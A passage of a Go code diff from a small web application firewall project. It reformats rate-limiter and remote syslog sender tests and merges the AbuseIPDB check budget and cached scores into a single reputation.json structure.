within := netip.MustParsePrefix("203.0.113.10/32")
|
||||||
start := midnight()
|
start := midnight()
|
||||||
@@ -584,11 +501,7 @@ func TestKeepsAtMostMaxClientsDroppingTheLeastRecentlySeen(t *testing.T) {
|
|||||||
wantCount(t, limiter, clients[maxClients], now, "")
|
wantCount(t, limiter, clients[maxClients], now, "")
|
||||||
|
|
||||||
if limiter.Len() != maxClients {
|
if limiter.Len() != maxClients {
|
||||||
t.Errorf(
|
t.Errorf("the table holds %d clients, want %d", limiter.Len(), maxClients)
|
||||||
"the table holds %d clients, want %d",
|
|
||||||
limiter.Len(),
|
|
||||||
maxClients,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
wantCount(t, limiter, clients[1], now, "")
|
wantCount(t, limiter, clients[1], now, "")
|
||||||
@@ -603,10 +516,7 @@ func midnight() time.Time {
|
|||||||
// wantCount counts a request from client at now, and checks the window
|
// wantCount counts a request from client at now, and checks the window
|
||||||
// whose limit it goes over, "" for none.
|
// whose limit it goes over, "" for none.
|
||||||
func wantCount(
|
func wantCount(
|
||||||
t *testing.T,
|
t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time,
|
||||||
limiter *ratelimit.Limiter,
|
|
||||||
client netip.Prefix,
|
|
||||||
now time.Time,
|
|
||||||
want string,
|
want string,
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
@@ -621,12 +531,8 @@ func wantCount(
|
|||||||
// wantBytesCount counts bytes from client at now, and checks the kind of
|
// wantBytesCount counts bytes from client at now, and checks the kind of
|
||||||
// the limit they break, "" for none.
|
// the limit they break, "" for none.
|
||||||
func wantBytesCount(
|
func wantBytesCount(
|
||||||
t *testing.T,
|
t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, now time.Time,
|
||||||
limiter *ratelimit.Limiter,
|
bytes int64, want string,
|
||||||
client netip.Prefix,
|
|
||||||
now time.Time,
|
|
||||||
bytes int64,
|
|
||||||
want string,
|
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
|
|||||||
@@ -12,12 +12,7 @@ import (
|
|||||||
func TestSnapshotListsTheClientsByAddress(t *testing.T) {
|
func TestSnapshotListsTheClientsByAddress(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
want := []string{
|
want := []string{"192.0.2.1/32", "203.0.113.9/32", "203.0.113.10/32", "2001:db8::/64"}
|
||||||
"192.0.2.1/32",
|
|
||||||
"203.0.113.9/32",
|
|
||||||
"203.0.113.10/32",
|
|
||||||
"2001:db8::/64",
|
|
||||||
}
|
|
||||||
|
|
||||||
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
limiter := ratelimit.New(ratelimit.Limits{}, tableSize)
|
||||||
for _, i := range []int{2, 3, 0, 1} {
|
for _, i := range []int{2, 3, 0, 1} {
|
||||||
@@ -37,12 +32,8 @@ func TestSnapshotListsTheClientsByAddress(t *testing.T) {
|
|||||||
|
|
||||||
counted := ratelimit.Buckets{Start: midnight(), Current: 1}
|
counted := ratelimit.Buckets{Start: midnight(), Current: 1}
|
||||||
if snapshot[0].Minute != counted || snapshot[0].Day != counted {
|
if snapshot[0].Minute != counted || snapshot[0].Day != counted {
|
||||||
t.Errorf(
|
t.Errorf("buckets %+v and %+v, want %+v", snapshot[0].Minute, snapshot[0].Day,
|
||||||
"buckets %+v and %+v, want %+v",
|
counted)
|
||||||
snapshot[0].Minute,
|
|
||||||
snapshot[0].Day,
|
|
||||||
counted,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -95,15 +86,10 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
|
|||||||
t.Errorf("loaded two minutes on as %+v", got)
|
t.Errorf("loaded two minutes on as %+v", got)
|
||||||
}
|
}
|
||||||
|
|
||||||
if got.MinuteBytes != (ratelimit.Buckets{}) ||
|
if got.MinuteBytes != (ratelimit.Buckets{}) || got.HourBytes.Current != 5 ||
|
||||||
got.HourBytes.Current != 5 ||
|
|
||||||
got.DayBytes.Current != 5 {
|
got.DayBytes.Current != 5 {
|
||||||
t.Errorf(
|
t.Errorf("loaded two minutes on with buckets of bytes %+v, %+v and %+v",
|
||||||
"loaded two minutes on with buckets of bytes %+v, %+v and %+v",
|
got.MinuteBytes, got.HourBytes, got.DayBytes)
|
||||||
got.MinuteBytes,
|
|
||||||
got.HourBytes,
|
|
||||||
got.DayBytes,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if got.MinuteRefusals != (ratelimit.Buckets{}) {
|
if got.MinuteRefusals != (ratelimit.Buckets{}) {
|
||||||
@@ -115,13 +101,8 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassed(t *testing.T) {
|
|||||||
got = loaded(start.Add(2*time.Minute - time.Nanosecond))
|
got = loaded(start.Add(2*time.Minute - time.Nanosecond))
|
||||||
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
|
if got.Minute.Current != 1 || got.MinuteBytes.Current != 5 ||
|
||||||
got.MinuteRefusals.Current != 1 {
|
got.MinuteRefusals.Current != 1 {
|
||||||
t.Errorf(
|
t.Errorf("loaded just under two minutes on with minute buckets %+v, %+v "+
|
||||||
"loaded just under two minutes on with minute buckets %+v, %+v "+
|
"and %+v", got.Minute, got.MinuteBytes, got.MinuteRefusals)
|
||||||
"and %+v",
|
|
||||||
got.Minute,
|
|
||||||
got.MinuteBytes,
|
|
||||||
got.MinuteRefusals,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -185,11 +185,7 @@ func (s *Sender) Run(ctx context.Context, processLog *slog.Logger) {
|
|||||||
// and over TCP and TLS after its length in bytes and a space, the
|
// and over TCP and TLS after its length in bytes and a space, the
|
||||||
// octet-counted framing of RFC 6587 and RFC 5425.
|
// octet-counted framing of RFC 6587 and RFC 5425.
|
||||||
func (s *Sender) record(at string, line []byte) []byte {
|
func (s *Sender) record(at string, line []byte) []byte {
|
||||||
record := make(
|
record := make([]byte, 0, len(s.beforeTime)+len(at)+len(s.afterTime)+len(line))
|
||||||
[]byte,
|
|
||||||
0,
|
|
||||||
len(s.beforeTime)+len(at)+len(s.afterTime)+len(line),
|
|
||||||
)
|
|
||||||
record = append(record, s.beforeTime...)
|
record = append(record, s.beforeTime...)
|
||||||
record = append(record, at...)
|
record = append(record, at...)
|
||||||
record = append(record, s.afterTime...)
|
record = append(record, s.afterTime...)
|
||||||
@@ -223,10 +219,7 @@ func (s *Sender) put(record []byte) {
|
|||||||
// send connects to the endpoint and sends each record as it comes into
|
// send connects to the endpoint and sends each record as it comes into
|
||||||
// the buffer, until ctx is done, and returns the connection then open, or
|
// the buffer, until ctx is done, and returns the connection then open, or
|
||||||
// nil.
|
// nil.
|
||||||
func (s *Sender) send(
|
func (s *Sender) send(ctx context.Context, processLog *slog.Logger) net.Conn {
|
||||||
ctx context.Context,
|
|
||||||
processLog *slog.Logger,
|
|
||||||
) net.Conn {
|
|
||||||
delay := firstRetryDelay
|
delay := firstRetryDelay
|
||||||
|
|
||||||
for {
|
for {
|
||||||
|
|||||||
@@ -57,27 +57,16 @@ func TestRecordsOverUDPGoOnePerDatagram(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
endpoint, err := (&net.ListenConfig{}).ListenPacket(
|
endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback)
|
||||||
t.Context(),
|
|
||||||
"udp",
|
|
||||||
loopback,
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
t.Cleanup(func() { _ = endpoint.Close() })
|
t.Cleanup(func() { _ = endpoint.Close() })
|
||||||
|
|
||||||
sender, _, _ := run(
|
sender, _, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr()))
|
||||||
t,
|
|
||||||
params(remotelog.SchemeUDP, endpoint.LocalAddr()),
|
|
||||||
)
|
|
||||||
|
|
||||||
_, _ = sender.Write(
|
_, _ = sender.Write([]byte(`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n"))
|
||||||
[]byte(
|
|
||||||
`{"type":"request"}` + "\n" + `{"type":"process"}` + "\n",
|
|
||||||
),
|
|
||||||
)
|
|
||||||
|
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantCounts(t, sender, 2, 0, 0)
|
wantCounts(t, sender, 2, 0, 0)
|
||||||
@@ -119,9 +108,7 @@ func TestRecordsOverTCPAreOctetCountedWithTheirFacility(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
|
func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
@@ -187,11 +174,7 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) {
|
|||||||
wantCounts(t, sender, 1, 0, 0)
|
wantCounts(t, sender, 1, 0, 0)
|
||||||
|
|
||||||
conn := endpoint.next(t)
|
conn := endpoint.next(t)
|
||||||
wantFrame(
|
wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "one"))
|
||||||
t,
|
|
||||||
bufio.NewReader(conn),
|
|
||||||
record(t, local0Info, appName, "one"),
|
|
||||||
)
|
|
||||||
|
|
||||||
// The endpoint goes away: it closes the connection, and refuses the
|
// The endpoint goes away: it closes the connection, and refuses the
|
||||||
// next ones. The sender notices when a record fails, and tries to
|
// next ones. The sender notices when a record fails, and tries to
|
||||||
@@ -220,11 +203,7 @@ func TestReconnectsWithBackoffAfterTheEndpointGoesAway(t *testing.T) {
|
|||||||
wantCounts(t, sender, sent+1, 1, 0)
|
wantCounts(t, sender, sent+1, 1, 0)
|
||||||
|
|
||||||
conn = endpoint.next(t)
|
conn = endpoint.next(t)
|
||||||
wantFrame(
|
wantFrame(t, bufio.NewReader(conn), record(t, local0Info, appName, "two"))
|
||||||
t,
|
|
||||||
bufio.NewReader(conn),
|
|
||||||
record(t, local0Info, appName, "two"),
|
|
||||||
)
|
|
||||||
wantRetries(t, logged, "1s", "2s")
|
wantRetries(t, logged, "1s", "2s")
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -234,19 +213,12 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) {
|
|||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
endpoint := listen(t)
|
endpoint := listen(t)
|
||||||
sender, logged, _ := run(
|
sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr()))
|
||||||
t,
|
|
||||||
params(remotelog.SchemeTCP, endpoint.Addr()),
|
|
||||||
)
|
|
||||||
|
|
||||||
// The endpoint closes each connection as soon as it takes it. The
|
// The endpoint closes each connection as soon as it takes it. The
|
||||||
// sender notices when a record fails, and connects again a second
|
// sender notices when a record fails, and connects again a second
|
||||||
// later, then two seconds after that, then four.
|
// later, then two seconds after that, then four.
|
||||||
delays := []time.Duration{
|
delays := []time.Duration{time.Second, 2 * time.Second, 4 * time.Second}
|
||||||
time.Second,
|
|
||||||
2 * time.Second,
|
|
||||||
4 * time.Second,
|
|
||||||
}
|
|
||||||
for i, delay := range delays {
|
for i, delay := range delays {
|
||||||
_ = accept(t, endpoint).Close()
|
_ = accept(t, endpoint).Close()
|
||||||
|
|
||||||
@@ -258,17 +230,12 @@ func TestAConnectionClosedAtOnceIsMadeAgainAfterAGrowingDelay(t *testing.T) {
|
|||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute(
|
func TestTheDelayStartsAgainAfterAConnectionThatStayedUpAMinute(t *testing.T) {
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
endpoint := listen(t)
|
endpoint := listen(t)
|
||||||
sender, logged, _ := run(
|
sender, logged, _ := run(t, params(remotelog.SchemeTCP, endpoint.Addr()))
|
||||||
t,
|
|
||||||
params(remotelog.SchemeTCP, endpoint.Addr()),
|
|
||||||
)
|
|
||||||
|
|
||||||
_ = accept(t, endpoint).Close()
|
_ = accept(t, endpoint).Close()
|
||||||
|
|
||||||
@@ -304,21 +271,14 @@ func TestALineTooLongForADatagramIsDroppedAlone(t *testing.T) {
|
|||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
endpoint, err := (&net.ListenConfig{}).ListenPacket(
|
endpoint, err := (&net.ListenConfig{}).ListenPacket(t.Context(), "udp", loopback)
|
||||||
t.Context(),
|
|
||||||
"udp",
|
|
||||||
loopback,
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
t.Cleanup(func() { _ = endpoint.Close() })
|
t.Cleanup(func() { _ = endpoint.Close() })
|
||||||
|
|
||||||
sender, logged, _ := run(
|
sender, logged, _ := run(t, params(remotelog.SchemeUDP, endpoint.LocalAddr()))
|
||||||
t,
|
|
||||||
params(remotelog.SchemeUDP, endpoint.LocalAddr()),
|
|
||||||
)
|
|
||||||
|
|
||||||
// With its header, the first line's record is longer than the 65507
|
// With its header, the first line's record is longer than the 65507
|
||||||
// bytes a UDP datagram over IPv4 holds. It is dropped, nothing is
|
// bytes a UDP datagram over IPv4 holds. It is dropped, nothing is
|
||||||
@@ -412,10 +372,7 @@ func params(scheme string, addr net.Addr) remotelog.Params {
|
|||||||
// run runs a Sender with settings until the test ends or the function
|
// run runs a Sender with settings until the test ends or the function
|
||||||
// it returns is called, which waits for Run to return. It returns the
|
// it returns is called, which waits for Run to return. It returns the
|
||||||
// Sender, and what it logs.
|
// Sender, and what it logs.
|
||||||
func run(
|
func run(t *testing.T, settings remotelog.Params) (*remotelog.Sender, *output, func()) {
|
||||||
t *testing.T,
|
|
||||||
settings remotelog.Params,
|
|
||||||
) (*remotelog.Sender, *output, func()) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
sender := remotelog.New(settings)
|
sender := remotelog.New(settings)
|
||||||
@@ -442,11 +399,7 @@ func run(
|
|||||||
func listen(t *testing.T) net.Listener {
|
func listen(t *testing.T) net.Listener {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
listener, err := (&net.ListenConfig{}).Listen(
|
listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", loopback)
|
||||||
t.Context(),
|
|
||||||
"tcp",
|
|
||||||
loopback,
|
|
||||||
)
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
t.Fatalf("listen: %v", err)
|
t.Fatalf("listen: %v", err)
|
||||||
}
|
}
|
||||||
@@ -485,17 +438,11 @@ type tlsEndpoint struct {
|
|||||||
|
|
||||||
// startTLSEndpoint starts a tlsEndpoint with certificate, which takes
|
// startTLSEndpoint starts a tlsEndpoint with certificate, which takes
|
||||||
// connections until it is told to refuse them.
|
// connections until it is told to refuse them.
|
||||||
func startTLSEndpoint(
|
func startTLSEndpoint(t *testing.T, certificate tls.Certificate) *tlsEndpoint {
|
||||||
t *testing.T,
|
|
||||||
certificate tls.Certificate,
|
|
||||||
) *tlsEndpoint {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
listener := listen(t)
|
listener := listen(t)
|
||||||
endpoint := &tlsEndpoint{
|
endpoint := &tlsEndpoint{addr: listener.Addr(), conns: make(chan net.Conn, 10)}
|
||||||
addr: listener.Addr(),
|
|
||||||
conns: make(chan net.Conn, 10),
|
|
||||||
}
|
|
||||||
config := &tls.Config{
|
config := &tls.Config{
|
||||||
Certificates: []tls.Certificate{certificate},
|
Certificates: []tls.Certificate{certificate},
|
||||||
MinVersion: tls.VersionTLS12,
|
MinVersion: tls.VersionTLS12,
|
||||||
@@ -509,8 +456,7 @@ func startTLSEndpoint(
|
|||||||
}
|
}
|
||||||
|
|
||||||
server := tls.Server(conn, config)
|
server := tls.Server(conn, config)
|
||||||
if endpoint.refusing.Load() ||
|
if endpoint.refusing.Load() || server.HandshakeContext(t.Context()) != nil {
|
||||||
server.HandshakeContext(t.Context()) != nil {
|
|
||||||
_ = conn.Close()
|
_ = conn.Close()
|
||||||
|
|
||||||
continue
|
continue
|
||||||
@@ -582,17 +528,9 @@ func wantCounts(
|
|||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
if sender.Sent() != sent || sender.Dropped() != dropped ||
|
if sender.Sent() != sent || sender.Dropped() != dropped || sender.Depth() != depth {
|
||||||
sender.Depth() != depth {
|
t.Fatalf("sent %d, dropped %d, %d in the buffer; want %d, %d and %d",
|
||||||
t.Fatalf(
|
sender.Sent(), sender.Dropped(), sender.Depth(), sent, dropped, depth)
|
||||||
"sent %d, dropped %d, %d in the buffer; want %d, %d and %d",
|
|
||||||
sender.Sent(),
|
|
||||||
sender.Dropped(),
|
|
||||||
sender.Depth(),
|
|
||||||
sent,
|
|
||||||
dropped,
|
|
||||||
depth,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -601,11 +539,7 @@ func wantCounts(
|
|||||||
// connection the endpoint has closed are lost before one fails; how many
|
// connection the endpoint has closed are lost before one fails; how many
|
||||||
// depends on when the endpoint's host answers that the connection is
|
// depends on when the endpoint's host answers that the connection is
|
||||||
// gone.
|
// gone.
|
||||||
func writeUntilDropped(
|
func writeUntilDropped(t *testing.T, sender *remotelog.Sender, dropped int64) {
|
||||||
t *testing.T,
|
|
||||||
sender *remotelog.Sender,
|
|
||||||
dropped int64,
|
|
||||||
) {
|
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
for sender.Dropped() < dropped {
|
for sender.Dropped() < dropped {
|
||||||
@@ -652,8 +586,7 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
|
|||||||
var fields map[string]any
|
var fields map[string]any
|
||||||
|
|
||||||
err := json.Unmarshal([]byte(line), &fields)
|
err := json.Unmarshal([]byte(line), &fields)
|
||||||
if err != nil ||
|
if err != nil || fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
|
||||||
fields["msg"] != "sending to SWW_LOG_REMOTE_URL failed" {
|
|
||||||
t.Fatalf("logged %q", line)
|
t.Fatalf("logged %q", line)
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -662,11 +595,7 @@ func wantRetries(t *testing.T, logged *output, delays ...string) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if !slices.Equal(got, delays) {
|
if !slices.Equal(got, delays) {
|
||||||
t.Errorf(
|
t.Errorf("logged failures to connect again in %v, want %v", got, delays)
|
||||||
"logged failures to connect again in %v, want %v",
|
|
||||||
got,
|
|
||||||
delays,
|
|
||||||
)
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -689,9 +618,7 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
|
|||||||
IsCA: true,
|
IsCA: true,
|
||||||
BasicConstraintsValid: true,
|
BasicConstraintsValid: true,
|
||||||
KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature,
|
KeyUsage: x509.KeyUsageCertSign | x509.KeyUsageDigitalSignature,
|
||||||
ExtKeyUsage: []x509.ExtKeyUsage{
|
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
|
||||||
x509.ExtKeyUsageServerAuth,
|
|
||||||
},
|
|
||||||
IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)},
|
IPAddresses: []net.IP{net.IPv4(127, 0, 0, 1)},
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -709,8 +636,5 @@ func testCertificate(t *testing.T) (tls.Certificate, *x509.CertPool) {
|
|||||||
roots := x509.NewCertPool()
|
roots := x509.NewCertPool()
|
||||||
roots.AddCert(certificate)
|
roots.AddCert(certificate)
|
||||||
|
|
||||||
return tls.Certificate{
|
return tls.Certificate{Certificate: [][]byte{der}, PrivateKey: key}, roots
|
||||||
Certificate: [][]byte{der},
|
|
||||||
PrivateKey: key,
|
|
||||||
}, roots
|
|
||||||
}
|
}
|
||||||
@@ -14,7 +14,6 @@ import (
|
|||||||
"sync"
|
"sync"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
"cloud.google.com/go/civil"
|
|
||||||
"github.com/hashicorp/golang-lru/v2/simplelru"
|
"github.com/hashicorp/golang-lru/v2/simplelru"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
"sneak.berlin/go/smallwebwaf/internal/alerts"
|
||||||
)
|
)
|
||||||
@@ -28,6 +27,8 @@ const (
|
|||||||
AbuseIPDBSource = "abuseipdb"
|
AbuseIPDBSource = "abuseipdb"
|
||||||
// maxAnswerBytes is the most of an answer of AbuseIPDB that is read.
|
// maxAnswerBytes is the most of an answer of AbuseIPDB that is read.
|
||||||
maxAnswerBytes = 64 << 10
|
maxAnswerBytes = 64 << 10
|
||||||
|
// day is the length of the day the checks are counted in, in UTC.
|
||||||
|
day = 24 * time.Hour
|
||||||
)
|
)
|
||||||
|
|
||||||
var (
|
var (
|
||||||
@@ -36,21 +37,22 @@ var (
|
|||||||
"checks spent; none is made until the day ends at 00:00 UTC")
|
"checks spent; none is made until the day ends at 00:00 UTC")
|
||||||
)
|
)
|
||||||
|
|
||||||
// Score is what AbuseIPDB said about a client, as abuseipdb-scores.json
|
// Score is what AbuseIPDB said about a client, as reputation.json holds
|
||||||
// holds it: the client, an IPv4 address or an IPv6 group, its abuse
|
// it: the client, an IPv4 address or an IPv6 group, its abuse confidence
|
||||||
// confidence score, from 0 to 100, and when AbuseIPDB answered.
|
// score, from 0 to 100, and when AbuseIPDB answered.
|
||||||
type Score struct {
|
type Score struct {
|
||||||
Client netip.Prefix `json:"client"`
|
Client netip.Prefix `json:"client"`
|
||||||
Score int64 `json:"score"`
|
Score int64 `json:"score"`
|
||||||
Fetched time.Time `json:"fetched"`
|
Fetched time.Time `json:"fetched"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// ChecksSpent is what abuseipdb-checks-spent.json keeps of the checks of
|
// Checks are what reputation.json keeps of the checks of clients with
|
||||||
// clients with AbuseIPDB: the day, in UTC, of the checks Spent counts,
|
// AbuseIPDB: the day, in UTC, of the checks Spent counts, zero before the
|
||||||
// zero before the first.
|
// first, and the scores still in use.
|
||||||
type ChecksSpent struct {
|
type Checks struct {
|
||||||
Day civil.Date
|
Day time.Time `json:"day,omitzero"`
|
||||||
Spent int
|
Spent int `json:"spent"`
|
||||||
|
Scores []Score `json:"scores"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// AbuseIPDBParams are what NewAbuseIPDB needs.
|
// AbuseIPDBParams are what NewAbuseIPDB needs.
|
||||||
@@ -91,7 +93,7 @@ type AbuseIPDB struct {
|
|||||||
// checking are the clients whose check is under way.
|
// checking are the clients whose check is under way.
|
||||||
checking map[netip.Prefix]bool
|
checking map[netip.Prefix]bool
|
||||||
// day is the day, in UTC, of the checks spent counts.
|
// day is the day, in UTC, of the checks spent counts.
|
||||||
day civil.Date
|
day time.Time
|
||||||
spent int
|
spent int
|
||||||
// checks and failures count the checks made and those that failed,
|
// checks and failures count the checks made and those that failed,
|
||||||
// and retryAt is when a client may be checked again after the last
|
// and retryAt is when a client may be checked again after the last
|
||||||
@@ -141,7 +143,7 @@ func (a *AbuseIPDB) Hit(
|
|||||||
return kept.Score, kept.Score >= a.params.MinScore
|
return kept.Score, kept.Score >= a.params.MinScore
|
||||||
}
|
}
|
||||||
|
|
||||||
if today := civil.DateOf(now.UTC()); a.day != today {
|
if today := now.Truncate(day); !a.day.Equal(today) {
|
||||||
a.day, a.spent = today, 0
|
a.day, a.spent = today, 0
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -188,42 +190,42 @@ func (a *AbuseIPDB) BudgetLeft() int {
|
|||||||
a.mu.Lock()
|
a.mu.Lock()
|
||||||
defer a.mu.Unlock()
|
defer a.mu.Unlock()
|
||||||
|
|
||||||
if a.day != civil.DateOf(a.params.Now().UTC()) {
|
if !a.day.Equal(a.params.Now().Truncate(day)) {
|
||||||
return a.params.DailyBudget
|
return a.params.DailyBudget
|
||||||
}
|
}
|
||||||
|
|
||||||
return max(a.params.DailyBudget-a.spent, 0)
|
return max(a.params.DailyBudget-a.spent, 0)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Snapshot returns every score still in use, sorted by client, as
|
// Snapshot returns the checks spent and every score still in use, sorted
|
||||||
// abuseipdb-scores.json keeps them.
|
// by client, as reputation.json keeps them.
|
||||||
func (a *AbuseIPDB) Snapshot() []Score {
|
func (a *AbuseIPDB) Snapshot() Checks {
|
||||||
a.mu.Lock()
|
a.mu.Lock()
|
||||||
|
|
||||||
now := a.params.Now()
|
now := a.params.Now()
|
||||||
scores := make([]Score, 0, a.scores.Len())
|
checks := Checks{Day: a.day, Spent: a.spent, Scores: make([]Score, 0, a.scores.Len())}
|
||||||
|
|
||||||
for _, kept := range a.scores.Values() {
|
for _, kept := range a.scores.Values() {
|
||||||
if now.Sub(kept.Fetched) < a.params.CacheTTL {
|
if now.Sub(kept.Fetched) < a.params.CacheTTL {
|
||||||
scores = append(scores, kept)
|
checks.Scores = append(checks.Scores, kept)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
a.mu.Unlock()
|
a.mu.Unlock()
|
||||||
|
|
||||||
slices.SortFunc(scores, func(x, y Score) int {
|
slices.SortFunc(checks.Scores, func(x, y Score) int {
|
||||||
return x.Client.Compare(y.Client)
|
return x.Client.Compare(y.Client)
|
||||||
})
|
})
|
||||||
|
|
||||||
return scores
|
return checks
|
||||||
}
|
}
|
||||||
|
|
||||||
// Load keeps scores, read from abuseipdb-scores.json, in place of those
|
// Load keeps checks, read from reputation.json, in place of those it
|
||||||
// it keeps, but for the scores past maxVerdicts, those fetched longest
|
// keeps, but for the scores past maxVerdicts, those fetched longest ago.
|
||||||
// ago. One fetched CacheTTL ago or more is neither used nor written, as
|
// One fetched CacheTTL ago or more is neither used nor written, as for any
|
||||||
// for any score.
|
// score.
|
||||||
func (a *AbuseIPDB) Load(scores []Score) {
|
func (a *AbuseIPDB) Load(checks Checks) {
|
||||||
scores = slices.Clone(scores)
|
scores := slices.Clone(checks.Scores)
|
||||||
slices.SortStableFunc(scores, func(x, y Score) int {
|
slices.SortStableFunc(scores, func(x, y Score) int {
|
||||||
return x.Fetched.Compare(y.Fetched)
|
return x.Fetched.Compare(y.Fetched)
|
||||||
})
|
})
|
||||||
@@ -231,6 +233,7 @@ func (a *AbuseIPDB) Load(scores []Score) {
|
|||||||
a.mu.Lock()
|
a.mu.Lock()
|
||||||
defer a.mu.Unlock()
|
defer a.mu.Unlock()
|
||||||
|
|
||||||
|
a.day, a.spent = checks.Day, checks.Spent
|
||||||
a.scores.Purge()
|
a.scores.Purge()
|
||||||
|
|
||||||
for _, kept := range scores {
|
for _, kept := range scores {
|
||||||
@@ -238,33 +241,11 @@ func (a *AbuseIPDB) Load(scores []Score) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// ChecksSpent returns the checks spent, as abuseipdb-checks-spent.json
|
|
||||||
// keeps them.
|
|
||||||
func (a *AbuseIPDB) ChecksSpent() ChecksSpent {
|
|
||||||
a.mu.Lock()
|
|
||||||
defer a.mu.Unlock()
|
|
||||||
|
|
||||||
return ChecksSpent{Day: a.day, Spent: a.spent}
|
|
||||||
}
|
|
||||||
|
|
||||||
// LoadChecksSpent keeps checks, read from abuseipdb-checks-spent.json, in
|
|
||||||
// place of the checks spent.
|
|
||||||
func (a *AbuseIPDB) LoadChecksSpent(checks ChecksSpent) {
|
|
||||||
a.mu.Lock()
|
|
||||||
defer a.mu.Unlock()
|
|
||||||
|
|
||||||
a.day, a.spent = checks.Day, checks.Spent
|
|
||||||
}
|
|
||||||
|
|
||||||
// check checks client with AbuseIPDB by addr, one of its addresses, keeps
|
// check checks client with AbuseIPDB by addr, one of its addresses, keeps
|
||||||
// the score as client's, and notes the check as no longer under way. A
|
// the score as client's, and notes the check as no longer under way. A
|
||||||
// check that fails gives no score: it is counted, logged and raised as a
|
// check that fails gives no score: it is counted, logged and raised as a
|
||||||
// source_failure alert, and no client is checked for failureDelay.
|
// source_failure alert, and no client is checked for failureDelay.
|
||||||
func (a *AbuseIPDB) check(
|
func (a *AbuseIPDB) check(ctx context.Context, client netip.Prefix, addr netip.Addr) {
|
||||||
ctx context.Context,
|
|
||||||
client netip.Prefix,
|
|
||||||
addr netip.Addr,
|
|
||||||
) {
|
|
||||||
score, err := a.ask(ctx, addr)
|
score, err := a.ask(ctx, addr)
|
||||||
now := a.params.Now()
|
now := a.params.Now()
|
||||||
|
|
||||||
@@ -273,10 +254,7 @@ func (a *AbuseIPDB) check(
|
|||||||
delete(a.checking, client)
|
